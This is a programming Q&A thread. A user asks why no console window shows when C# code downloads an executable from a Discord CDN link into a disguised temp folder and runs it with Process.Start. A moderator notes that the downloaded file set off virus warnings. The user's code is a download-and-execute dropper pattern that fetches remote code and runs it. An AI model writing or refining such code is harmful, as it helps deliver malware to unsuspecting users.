question

xMaini-5548 avatar image
0 Votes"
xMaini-5548 asked JackJJun-MSFT commented

C# Console dont appear when Process.Start fires

Hi,
So i made an code in C# that starts an programm, but when i use Process.Start the console didnt opens. Heres the code:

 string tempPath = System.IO.Path.GetTempPath();
         Directory.CreateDirectory(tempPath + "\\{7FG636E4-82DK-8IA3-J81C-UA8I7HG38N387G\\E47297G3F46AB19");
    
         string URL = "https://cdn.discordapp.com/attachments/892864626197413939/897150039661625445/output.exe";
         string File = tempPath + "\\{7FG636E4-82DK-8IA3-J81C-UA8I7HG38N387G\\output.exe";
    
         //Webclient
         WebClient webClient = new WebClient();
    
         webClient.DownloadFile(URL, File);
    
         Process.Start(File);
    
 Console.WriteLine("Hello");

I hope someone can help me,
LG xMaini









dotnet-cli
· 1
5 |1600 characters needed characters left characters exceeded

Up to 10 attachments (including images) can be used with a maximum of 3.0 MiB each and 30.0 MiB total.

@xMaini-5548, as cooldadtx said, your exe may have some problems. Based on my test, I can download the exe successfully, it will throw errors about virus if I open it manually. You could try the following example from the answer, which can show the console well without the problem.


0 Votes 0 ·

1 Answer

cooldadtx avatar image
0 Votes"
cooldadtx answered

Capture the return value from Process.Start. There could be any # of things that could go wrong. You're trying to run an EXE from the Internet I wonder about the file being blocked by Windows (check the file's properties in Windows Explorer).

5 |1600 characters needed characters left characters exceeded

Up to 10 attachments (including images) can be used with a maximum of 3.0 MiB each and 30.0 MiB total.